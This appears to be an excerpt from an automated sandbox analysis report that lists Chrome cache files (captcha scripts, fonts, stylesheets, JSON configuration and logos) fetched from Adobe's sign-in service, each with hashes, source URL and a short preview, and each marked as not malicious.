Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="26.034" height="32" viewBox="0 0 26.034 32"><g transform="translate(0 0)"><path d="M31.354,22.608a7.272,7.272,0,0,1,3.463-6.1,7.444,7.444,0,0,0-5.865-3.171c-2.468-.259-4.86,1.477-6.117,1.477-1.282,0-3.218-1.451-5.3-1.408a7.811,7.811,0,0,0-6.573,4.009c-2.842,4.921-.722,12.152,2,16.129,1.362,1.948,2.954,4.123,5.037,4.046,2.038-.085,2.8-1.3,5.26-1.3,2.438,0,3.152,1.3,5.277,1.251,2.187-.035,3.565-1.956,4.88-3.922a16.109,16.109,0,0,0,2.231-4.544,7.027,7.027,0,0,1-4.29-6.465Z" transform="translate(-9.609 -5.59)"/><path d="M23.551,12.976a7.16,7.16,0,0,0,1.638-5.13,7.285,7.285,0,0,0-4.714,2.439,6.813,6.813,0,0,0-1.681,4.94A6.024,6.024,0,0,0,23.551,12.976Z" transform="translate(-5.82 -7.847)"/></g></svg>

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	76514
Entropy (8bit):	5.403501344051261
Encrypted:	false
SSDEEP:	1536:VwYgrDGMt2UMvCdjtY1nzumIL7qMYmyq9pgMtn7AerLe7cFcdDL:CY3bKFtwnjILRbyQp97AQLKcFcZ
MD5:	0469982717626E856617FDCEF5A5774E
SHA1:	FFB8E3B18DA53DA4772E151051B82B778BB01C14
SHA-256:	D04417312158FCC5BAC7889ADA9AC15F5490269D6633A6F6CF18F42DF569516C
SHA-512:	ED94A7BCA0C9A999BF6127A7F78948807351D1DCD10DD99B31E7FD6737697CF5D739D918C5175317B6BC5150BAD3798EF383AEC713FBCBB46C689ECDDB0CE130
Malicious:	false
Preview:	var arkoseLabsClientApi7f09c9f9;!function(){var e={1891:function(e,t){"use strict";t.J=void 0;var n=/^([^\w]*)(javascript\|data\|vbscript)/im,r=/&#(\w+)(^\w\|;)?/g,o=/&tab;/gi,i=/[\u0000-\u001F\u007F-\u009F\u2000-\u200D\uFEFF]/gim,a=/^.+(:\|&colon;)/gim,c=[".","/"];t.J=function(e){var t,s=(t=e\|\|"",(t=t.replace(o," ")).replace(r,(function(e,t){return String.fromCharCode(t)}))).replace(i,"").trim();if(!s)return"about:blank";if(function(e){return c.indexOf(e[0])>-1}(s))return s;var u=s.match(a);if(!u)return s;var l=u[0];return n.test(l)?"about:blank":s}},7040:function(e,t){var n;!function(){"use strict";var r={}.hasOwnProperty;function o(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var i=typeof n;if("string"===i\|\|"number"===i)e.push(n);else if(Array.isArray(n)){if(n.length){var a=o.apply(null,n);a&&e.push(a)}}else if("object"===i)if(n.toString===Object.prototype.toString)for(var c in n)r.call(n,c)&&n[c]&&e.push(c);else e.push(n.toString())}}return e.join(" ")}e.expor

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (28511)
Category:	downloaded
Size (bytes):	62612
Entropy (8bit):	5.2991976192212675
Encrypted:	false
SSDEEP:	768:RJSavMyhYuR7WHS0pxGcVI53x+bsKbAx+bsKbjtTmvQi/XtTmvQi/7jRPEh7iCqs:R2yhYuMHS0hVRoaSgC0VC
MD5:	BEB73E5BF986FA12C7B768FA97DC8F2B
SHA1:	A72E87B14EFBD800E40137D7F890C3AA9F3A2165
SHA-256:	65A8482903C810DFCA260ED06CCC1A8F6881185796787F2415E280C4E7B8A7EF
SHA-512:	B850FFBEE8E4A261F4C659C2FC0B2219CDD75FB12FEF9C5F9AC2E2C8C2EFBE397A859490B239D3A15E58CDDED3D8F896901AD80A06052958EA74A76261DFC139
Malicious:	false
URL:	https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=ebe19fea-e642-481c-8848-612d91fcff8f&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true
Preview:	<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="Content-Security-Policy" content="base-uri 'self'; object-src 'none'; script-src 'self' 'unsafe-inline' 'report-sample' https://wwwimages2.stage.adobe.com https://auth-stg1.services.adobe.com https://kapture.corp.adobe.com https://stage-server.messaging.adobe.com https://wwwimages2.adobe.com https://c.evidon.com https://auth.services.adobe.com https://cdn.arkoselabs.com https://auth-ci-statics.dev.services.adobe.com https://assets.adobedtm.com https://www.adobe.com/marketingtech/ https://use.typekit.net https://www.google.com/recaptcha/ https://www.recaptcha.net https://recaptcha.net https://www.gstatic.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://api.demandbase.com https://adobe-api.arkoselabs.com https://accounts.google.com/gsi/ https://www.adobe.com/etc.clientlibs/globalnav/ https://geo2.adobe.com/json/ https://cdn.cookielaw.org 'nonce-q3A43Stf4+NhWkVEgkFfpA==' 'sha256-qz5t9UkuvqqEypV44P1Kv4Is

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65297)
Category:	dropped
Size (bytes):	4256355
Entropy (8bit):	5.405364083343942
Encrypted:	false
SSDEEP:	98304:tOCiTfd2WSuLYHo0Uo4T3AAJn+qOQqTpb075vc:cCi7d2WSuLYHo0Uo4T3AAJn+3QqTpb0u
MD5:	8A56E23C7FCCD2F773B4AE59BAA81367
SHA1:	69C32593C66372D79205342CA40BD4AB35B66444
SHA-256:	9F86C194C3D3E01E2BB456D0C240AB8E72925A35D62698060C7EF6E98105B016
SHA-512:	D671242EA8B12B73961F59498CAFC7AEE86FAE90671840A718889463C2E6D3347C551CAFB344CD69712A398913EE8324D4E458684935101A01F65FE021EB8B08
Malicious:	false
Preview:	/! For license information please see scripts.js.LICENSE.txt /.!function(e){var t={};function r(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)r.d(n,o,function(t){return e[t]}.bind(null,o));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="/",r(r.s=575)}([function(e,t,r){"use

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	76514
Entropy (8bit):	5.403501344051261
Encrypted:	false
SSDEEP:	1536:VwYgrDGMt2UMvCdjtY1nzumIL7qMYmyq9pgMtn7AerLe7cFcdDL:CY3bKFtwnjILRbyQp97AQLKcFcZ
MD5:	0469982717626E856617FDCEF5A5774E
SHA1:	FFB8E3B18DA53DA4772E151051B82B778BB01C14
SHA-256:	D04417312158FCC5BAC7889ADA9AC15F5490269D6633A6F6CF18F42DF569516C
SHA-512:	ED94A7BCA0C9A999BF6127A7F78948807351D1DCD10DD99B31E7FD6737697CF5D739D918C5175317B6BC5150BAD3798EF383AEC713FBCBB46C689ECDDB0CE130
Malicious:	false
URL:	https://adobe-api.arkoselabs.com/v2/430FF2C3-1AB1-40B7-8BE7-44FC683FE02C/api.js
Preview:	var arkoseLabsClientApi7f09c9f9;!function(){var e={1891:function(e,t){"use strict";t.J=void 0;var n=/^([^\w]*)(javascript\|data\|vbscript)/im,r=/&#(\w+)(^\w\|;)?/g,o=/&tab;/gi,i=/[\u0000-\u001F\u007F-\u009F\u2000-\u200D\uFEFF]/gim,a=/^.+(:\|&colon;)/gim,c=[".","/"];t.J=function(e){var t,s=(t=e\|\|"",(t=t.replace(o," ")).replace(r,(function(e,t){return String.fromCharCode(t)}))).replace(i,"").trim();if(!s)return"about:blank";if(function(e){return c.indexOf(e[0])>-1}(s))return s;var u=s.match(a);if(!u)return s;var l=u[0];return n.test(l)?"about:blank":s}},7040:function(e,t){var n;!function(){"use strict";var r={}.hasOwnProperty;function o(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var i=typeof n;if("string"===i\|\|"number"===i)e.push(n);else if(Array.isArray(n)){if(n.length){var a=o.apply(null,n);a&&e.push(a)}}else if("object"===i)if(n.toString===Object.prototype.toString)for(var c in n)r.call(n,c)&&n[c]&&e.push(c);else e.push(n.toString())}}return e.join(" ")}e.expor

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), CFF, length 29924, version 1.0
Category:	downloaded
Size (bytes):	29924
Entropy (8bit):	7.990737514218301
Encrypted:	true
SSDEEP:	768:Pcuh9wILHXO18MCDoDHbMfEgfLiEJt29V66Gryo3gjXep:Lh9wILHXO1JCDuofLbWyrnr
MD5:	FCFE600FE9BF0239A8C3CD48738EC2DA
SHA1:	C735EDEB5AC056F41E063A46B2F508057C9DBDAB
SHA-256:	62517736E6872FB13CE951C67D689DEF5F6AC4AC222299BFE1E37AC5F05C37AD
SHA-512:	2829D0BE5E38771D56D92371DD9A4131ECDEC577C50481043914A525DE1F0EB9197C731E549F67625EB954EE611377C771126A2A764F0E68B5928476DE05543A
Malicious:	false
URL:	https://use.typekit.net/af/cb695f/000000000000000000017701/27/l?subset_id=2&fvd=n4&v=3
Preview:	wOF2OTTO..t........(..t..........................F...s?DYNA.i?GDYN.y..r.`..N...6.$..H...... .)...H........Q..aDA.........U...~..?../.....?B...w..{....:`v...9?/y'I..9@I...@..3V@....%WX{'...T@...`./Q...V.Tz....g( .... .....sFO...2..j.n..R....HBI.!.r[n.VR ...JhM.Aj.HI.~....o.&...q..\Gr..8T7..I!(1.0.t..B...Mq....)c....7..Mk)!..]....1k;.d....6..y..N4z...L.B).....'..T...Q..?......N>.\|...+...V....K..e...I.#..b.j.................BN....B.#.T.._\|.....V.:...E.\v./y...$.h....H.Y...;.L..h..Y.}I.C..U!tR%.pS...i......STU\|..).y...P.Y..4`...c.].w..E.>.[.u.R.._..2 )....}.R......... ..Cc!S......).$....4#hC...5O....``....0......O....&W..`....d..."...a(....4CP..d..(\|.wY.n.I......a..x....0..xO...~..}.._E.i.3....0k..i@....p.F. ...a....0..a._....w...Z.s...c..&.3.h.wY.W../_~.6.J...H...+......k...D.NKi_..}....K(q^;o}.v..&.>.+...b...m......x..R....B.....\|I)Mn1..'.R/..t..Yb4..~.M.C.L.+.....[.......W.A..jc.n...........T3.qyow*..1....+7..K.p.v.^.LU'Z.\|....

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	88
Entropy (8bit):	5.052721960207516
Encrypted:	false
SSDEEP:	3:6uhAiCnrF992y5jf3XsbjRAtbKx:FeiCnJT1XsbtAtk
MD5:	0062BBE081DFA63A7FE5E3359FE15343
SHA1:	EBD32BFAEDF5D2D5E6E94D577828B6FF20544A9A
SHA-256:	A48A10C18815B219219827E60CAFBA7C4CF0B430EAF81465F11B1C6D2B5D6C5E
SHA-512:	8700B1EFE3C8307B468FAB16BC986AC36BECCD783401AD3CBB5F1EBA4DA679D1B192D59A83E69461DEFE7874AA6F0792A30788A0B9C589D94B56F5E6275A0172
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwkBIssKQ8rBIhIFDVNVgbUSBQ1Xevf9?alt=proto
Preview:	CkAKDQ1TVYG1GgQIVhgCIAEKLw1Xevf9GgQISxgCKiIIClIeChQhQC4jJCpfLT8mKyUvLF4pOj0ofhABGP////8P

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2258)
Category:	dropped
Size (bytes):	17008
Entropy (8bit):	5.5502271222360395
Encrypted:	false
SSDEEP:	384:cx2hpIgIVsUGiRm4lIeU4iDFeFs2NdFJsQF+i:cR7GiRm4X0JqsG7Ui
MD5:	A10396392AF7006E81573A789F8F0367
SHA1:	187F5E45A312D581FE4248DFF447F6DC4DDB208D
SHA-256:	92C86130DAF66FC1BCEF9A45A15608ABE448740ABDC3BCA1EEE9301767DDAF8B
SHA-512:	092900888FD08AE5B5458E91F92880EF10D909BA9F4656FB8DD80B9A4E24760213D5CB02E5BD6849360797FDD1D0D85E71BF4A6C868A40C9110EF3F7765300EA
Malicious:	false
Preview:	/. The Typekit service used to deliver this font or fonts for use on websites. * is provided by Adobe and is subject to these Terms of Use. * http://www.adobe.com/products/eulas/tou_typekit. For font license. * information, see the list below.. . adobe-clean:. * - http://typekit.com/eulas/000000000000000000017701. * - http://typekit.com/eulas/000000000000000000017703. * - http://typekit.com/eulas/0000000000000000000176ff. . . 2009-2024 Adobe Systems Incorporated. All Rights Reserved.. */.if(!window.Typekit)window.Typekit={};window.Typekit.config={"a":"1164490","c":[".tk-adobe-clean","\"adobe-clean\",sans-serif"],"fi":[7180,7182,7184],"fc":[{"id":7180,"family":"adobe-clean","src":"https://use.typekit.net/af/cb695f/000000000000000000017701/27/{format}{?primer,subset_id,fvd,v}","descriptors":{"weight":"400","style":"normal","stretch":"normal","display":"auto","variable":false,"subset_id":2}},{"id":7182,"family":"adobe-clean","src":"https://use.typekit.net/af/eaf09c/0000000

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2125
Entropy (8bit):	4.891233430290872
Encrypted:	false
SSDEEP:	24:Y0ZW3+3LwJSX5B5AKNrYUBjR3LENEJuNrE5vYWr1VANWKVFucVkLAgNs3BSPvT8z:Y0sOcyP5AYpw+JuhEZ7bU4qkULB0vC
MD5:	47A86FC387427D62E1B3E332E5EC47DC
SHA1:	ABA482C1B522E72A24A55805614095150031F8FC
SHA-256:	010F398A19CD28239BBEF458C7FECC94884923AC907F9ECD80F1C4D985C9D265
SHA-512:	BF2889CD03F091638501A54C98C165953A2AC92450F90F55AD1994797DF89F10ABC72EF5072F7E911D2D999AA25A740A4CAC673E4610FA4266F2C74CADCECAC6
Malicious:	false
URL:	https://auth.services.adobe.com/signin/v2/configurations/CC_HD_ESD_WEB
Preview:	{"allowedAccountTypes":["enterprise","individual","entitlement","federated"],"accountCreationEnabled":true,"deviceOptInEnabled":false,"externalLinksEnabled":true,"cancelButtonEnabled":false,"jarvisV2Enabled":true,"fraudAiEnabled":false,"passwordlessOptInEnabled":false,"ssoEnabled":true,"chromelessLinksEnabled":false,"emailVerificationPolicy":"DELAYED","termsOfUseName":"ADOBE_MASTER","marketingConsentProfile":"trial","coppaEnforcement":"DateOfBirthOrExternal","reauthTtl":900,"retryAfter":3,"updatePasswordAllowedFactors":["EMAIL","PHONE","TOTP","PASSWORD","CODE_LOGIN"],"mfaInsteadOfCaptcha":true,"timeframeInvitesOutvites":604800000,"assetMigrationTimeout":180000,"type1MarketingConsentEnabled":false,"t2eDefaultFilter":"","t2eAccountFilteringEnabled":true,"recaptchaJsTimeoutMilli":5000,"externalContextMarker":"https://oobe.adobe.com/type3","contextSwitchingMarkerEnabled":false,"encodeExternalContextMarkerUrlEnabled":false,"arkoseCaptchaEnabled":true,"arkoseCaptchaSignInEnabled":true,"arkos

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	527444
Entropy (8bit):	5.536911396166347
Encrypted:	false
SSDEEP:	6144:mGln94OeevNKfHvMy6aOT7Rc5jfZnFl5hPy:zvNKZa
MD5:	E3F310C7E6D9D413D2EEC12B62AEE276
SHA1:	7495577486F3A638E428D3F045814478C1531B6A
SHA-256:	CF138AF3C7B5F75AB312B1818D001649DC2F64AA4C9FA02D1B8254CD384973E6
SHA-512:	5C7B6F53DB27DDC24F377CECEDEFF4A37A01C7F99EA2DDFC44CDF125DB92B26D89B9663CCACBA50040A987131F0AB79537E35F70CDD102EA668268F17B206119
Malicious:	false
URL:	https://auth.services.adobe.com/8d9e4eb26/styles.c1bc4a6b.css
Preview:	.ActionList-Item__container{padding:24px 16px 24px 10px}.ActionList-Item__container,.ActionList-Item__container-no-padding{display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-moz-box-align:center;-ms-flex-align:center;align-items:center}@media screen and (min-width:768px){.CardLayout__content--full-width{margin:0 -56px}.ActionList-Item:not(:last-child):after{left:56px;right:56px}.ActionList-Item__container{padding:24px 40px 24px 50px}}.spectrum-Icon,.spectrum-UIIcon{display:inline-block;color:inherit;fill:currentColor;pointer-events:none}.spectrum-Icon:not(:root),.spectrum-UIIcon:not(:root){overflow:hidden}.spectrum-Icon--sizeS,.spectrum-Icon--sizeS img,.spectrum-Icon--sizeS svg{height:18px;width:18px}.spectrum-Icon--sizeM,.spectrum-Icon--sizeM img,.spectrum-Ic

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), CFF, length 29980, version 1.0
Category:	downloaded
Size (bytes):	29980
Entropy (8bit):	7.991242817341188
Encrypted:	true
SSDEEP:	384:Qe9rpy2HXqWLQHZGKdRNVaFFHvYk9ur4QMvkQ5OAe0kM/1uwOnz6AuPtUZfLLcBt:QCrB/MHpIZCgsQ5Xkbwo6A+UZncXp0E
MD5:	864FC6D95444FD085441968A712F6C9F
SHA1:	7E54F060DF28A16E146AB1EB15AB3A59D3D9BE06
SHA-256:	371F06319FA71DE555AEBEFCFFBE3C1F755E5761D90AACD9BBA0C64C6CF40090
SHA-512:	7CADDDDCD35910BC04D80EB10F0776BBF7C770AFCF960FBBDFCC8E8DB1BACD694883A3E9A1540552B544AE639FA42C9B79690ADB81F7D5210467B6494BA25880
Malicious:	false
URL:	https://use.typekit.net/af/eaf09c/000000000000000000017703/27/l?subset_id=2&fvd=n7&v=3
Preview:	wOF2OTTO..u........0..t..........................F...D?DYNA.i?GDYN.y..H.`..N...6.$..H...... .5...H..V.CDE....}........W.?@..................o.9.%r.xtl%V.H9I....{..;.3..._..Km...LL..5...$..d.-0.b(...;I $..Vc3.d..\|....9..=f..,....4../......-..J..z...r...C.%....U.V,....T.l......q%...A..]I....E..$.......s...N...p.(4Is.K.r.C.v.L.a...(.e..{............m!...\&p.T2S.O..e...?....#...ylj..!....d....W..E...Q....y..z...!X..^QY..W_9..x...?...M...!.......,+`YV.e]........?V.{.jd..+krf.3K?.9...,.8....CREr...YLf..?.3.dqv..\...pU...H`!..+...l}..)....J.....M.P.;.......;w.....Zw...(.....lM..zj....`X.:.CqL.L..?.....d./...l.y9..xy;. ...P.X .I.l....Y......5'.0S'..L../...p.....+.B.. ....eb..:3.ns..B..a........~L.....R.w..!E.9{.}..dB%.zxq.5.F. ..q0.f.\|X..\|.o.m..+w.....<&...k9{..&......+...s..."..d2.u.UC..q.K..8....VC'qr.....j[.qb2NZ!.N.O.:._...e..*.C.u..5.8....t.h+...:..!Lv>8......<J......R......A:B.Gg...:.6K.J.N... ......uIl.V.C....{....X..uS.2.)..=..s

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	22
Entropy (8bit):	3.9139770731827506
Encrypted:	false
SSDEEP:	3:YQbLSPLSn:YQaP2
MD5:	B8BDE140938211AD10CCEDF19647E04E
SHA1:	7EC6DCA96E0EFF00C7C548FC1D006A5338FC7F14
SHA-256:	0FDEE8E506F20BD5FA3B7908598C0FC77A422A1B22C28A339A99F01ECB43996C
SHA-512:	09B8C657B6EE78E265F925E50C44A089333ED56200F047F0505308C804CE2F96ABC41367C4D9B4385F6907A831ED22617815CFF74755BB1E4F8E58C4619E78AD
Malicious:	false
URL:	https://server.messaging.adobe.com/core/v1/messaging/ui-version
Preview:	{"uiVersion":"2.75.8"}

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.445955989056745
Encrypted:	false
SSDEEP:	3:YAqtEYXZDD/mJkDWQiFAr44n:YAqFJW6rDn
MD5:	BFC849564D1AF8D5B164CE971B8BA82B
SHA1:	8E0367C2117FE9D3E207A96F474C1704C4F35BD5
SHA-256:	E53D20DBDC6BA66258D7BCA3543FD3C8F9BAEC6FF56EFA7CB1625543021B4859
SHA-512:	31E05CDF1F1065F73B7912B1D19245C7ADDCA7638402E6A841805A01F02E182991D3CF002B4BE16D8439880922E47298222E2E8EEE7206A63E2980342DA6DB29
Malicious:	false
Preview:	{"errorCode":"invalid_field","errorMessage":"clientId must not be empty: null"}

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	62921
Entropy (8bit):	4.849160494541888
Encrypted:	false
SSDEEP:	1536:YZkTXdHEP0fCPP9ZsS4jEzjxE5rz2560AJv2ndnrEkUDdiTBRbV:YSTXdHEPCNjEzjm5rz2560AF2ndnrEkb
MD5:	479221735003F195FC966EE1A416FE45
SHA1:	F98F1834E1FB5C06CCE29EED1D3FF8B57CAAE836
SHA-256:	19486378CEF46557FEABDB715E35E5EA1DD4F6F4C516DD5F1B7C2C3FC2C9A659
SHA-512:	469BCFC6EC619CF387A0191994F951999788439F1AD64624C8B74A67DE9E50CD54F824B14B41B36D14846F8CFF71828EE7E7F3CB6D32DE8DD0ABB031D03FC9BB
Malicious:	false
Preview:	{"attributions":{"behance":"Behance","stock":"Stock","creativeCloud":"Creative Cloud"},"common":{"backBtn":"Back","goBackBtn":"Go back","resend":"Resend","learnMoreAccountTypes":"Learn more about account types","resendCode":"Resend Code","receiveCodeAnotherWay":"Receive code another way","back":"Sign in with a different email address","selectAccount":"Select an account","changeAccount":"Sign in to a different account","continue":"Continue","continueWithEmail":"Continue with email","signInWithPasskey":"Sign in with passkey","returnToSignIn":"Return to sign in","returnToSignUp":"Return to sign up","accept":"Accept","cancel":"Cancel","confirm":"Confirm","change":"Change","close":"Close","done":"Done","ok":"OK","signin":"Sign in","signout":"Sign out","learnMore":"Learn more","viewMore":"View more","viewLess":"View less","skip":"Skip","notNow":"Not now","steps":"Step {0} of {1}","retrieve":"Retrieve","signInWithCode":"Continue with code","accountTypes":{"individual":"Personal Account","ente

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1797
Entropy (8bit):	4.631584269642909
Encrypted:	false
SSDEEP:	24:2d/E1mN9OBEdJKpTzvkbxmDyeX9MUS6ifS4vrZm/e+It92k5jf7d1jSJXKkcn0E:c/UWJKMpeiUTCmG+I335jzDjSJ6kbE
MD5:	F639F757A2B5B00E98F3F1EA31404C1E
SHA1:	C625262F64F47B4D92B4A61CBC509671941DC9EA
SHA-256:	AE1F7BC6026339F4355FC367C8F13F971CB3E06E528321663F8A41B53587D9CE
SHA-512:	F66758828FC5ED03CB8D7C4A80E013C2D1978D3AF625AE4203BF4CB043D4DA38F3CEDBB9EB3BC514936B25B8DD62C665F13030B8D0CD3192F969F161C269F3E6
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/round/line.svg
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg id="Layer_2" data-name="Layer 2" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 28 28">. <defs>. <style>. .cls-1 {. fill: #06c755;. }.. .cls-1, .cls-2 {. stroke-width: 0px;. }.. .cls-2 {. fill: #fff;. }. </style>. </defs>. <g id="LINE_LOGO" data-name="LINE LOGO">. <g>. <rect class="cls-1" x="6" y="6" width="16" height="16" rx="3.61" ry="3.61"/>. <g>. <path class="cls-2" d="m19.33,13.25c0-2.39-2.39-4.33-5.33-4.33s-5.33,1.94-5.33,4.33c0,2.14,1.9,3.93,4.46,4.27.17.04.41.11.47.26.05.13.03.35.02.48,0,0-.06.38-.08.46-.02.13-.11.53.46.29.57-.24,3.07-1.81,4.19-3.1h0c.77-.85,1.14-1.71,1.14-2.66h0Z"/>. <g>. <path class="cls-1" d="m17.56,14.62h-1.5c-.06,0-.1-.05-.1-.1h0v-2.33h0c0-.06.05-.1.1-.1h1.5c.06,0,.1.05.1.1v.38c0,.06-.05.1-.1.1h-1.02v.39h1.02c.06,0,.1.05.1.1v.38c0,.06-.05.1-.1.1h-1.02v.39h1.02c.06,0,.1.05.1.1v.38c0,.06-.05.1-.1.1h0Z"/>. <path

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1241
Entropy (8bit):	4.649162120071889
Encrypted:	false
SSDEEP:	24:t8SYcRjJhx/jywbPB3rQUrdSo/gdfmEcKJaan+x8J1DYW+u8wjI:5VjhjywbNrQUBSoIdfrTJY8J1DYW+u8f
MD5:	F3D8620B91A594708B45B74945D91C5C
SHA1:	5D8A283E9E07ADE59AE6A6C2358FEB8DABB82C76
SHA-256:	C7AB8D6C9467379D20F162C6F04FE508C6411D2799E59852E59CDB89CDDE2966
SHA-512:	3B5D029730C9AECE4A47D1DDD2364EEE1E4AE5421F710A38B078C02FCD1B486799CD0D84EEB2C8581B6A77F1F682EAB9592FEF5BB32057D22574B9E0332888FB
Malicious:	false
Preview:	<svg id="Group_155509" data-name="Group 155509" xmlns="http://www.w3.org/2000/svg" width="50" height="50" viewBox="0 0 50 50">. <rect id="Background" width="50" height="50" rx="25"/>. <g id="Group_74582" data-name="Group 74582" transform="translate(14.5 10.502)">. <path id="Apple_logo_black" d="M37.33,23.428a13.555,13.555,0,0,1-1.34,2.41,12.244,12.244,0,0,1-1.727,2.087,3.349,3.349,0,0,1-2.219.977,5.562,5.562,0,0,1-2.05-.489,5.882,5.882,0,0,0-2.207-.488,6.081,6.081,0,0,0-2.269.488,6.106,6.106,0,0,1-1.961.516,3.154,3.154,0,0,1-2.269-1,12.857,12.857,0,0,1-1.806-2.161,14.943,14.943,0,0,1-1.91-3.793,13.89,13.89,0,0,1-.8-4.521,8.256,8.256,0,0,1,1.084-4.319,6.36,6.36,0,0,1,2.271-2.3,6.108,6.108,0,0,1,3.07-.866,7.228,7.228,0,0,1,2.374.553,7.633,7.633,0,0,0,1.883.554,11.269,11.269,0,0,0,2.088-.652,6.9,6.9,0,0,1,2.839-.5A6.027,6.027,0,0,1,37.1,12.4a5.252,5.252,0,0,0-2.785,4.771,5.263,5.263,0,0,0,1.728,3.966,5.679,5.679,0,0,0,1.727,1.133q-.208.6-.44,1.156ZM32.519,4.5a5.319,5.319,0,0,1-1.363,

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	271160
Entropy (8bit):	5.547687723035138
Encrypted:	false
SSDEEP:	6144:GVeF/OwGRgA1PCpk8rD9VJx1SIjGdQh1R6mX4:GVeflP1SGB9o
MD5:	5C52574099F1BE17250D9127E3A8D515
SHA1:	F06867CAD1359342F70C3CB1368E7AABE10B74E3
SHA-256:	71ED066BA926C37EFB9E2A351119BD6089C0C31AC32A3E64BB842EC6B0109FA9
SHA-512:	C2C114FEB2DE378816BF351F7F5CBBBB3C2155D239A383A6B5D1F71E88871186AA59A8FF9E081524B8D35D192C05BACF763FB84E69C76E49680972F6E2DEF126
Malicious:	false
URL:	https://adobe-api.arkoselabs.com/v2/2.11.2/enforcement.680e9fec55645f785d2cc2dbf0b3e151.js
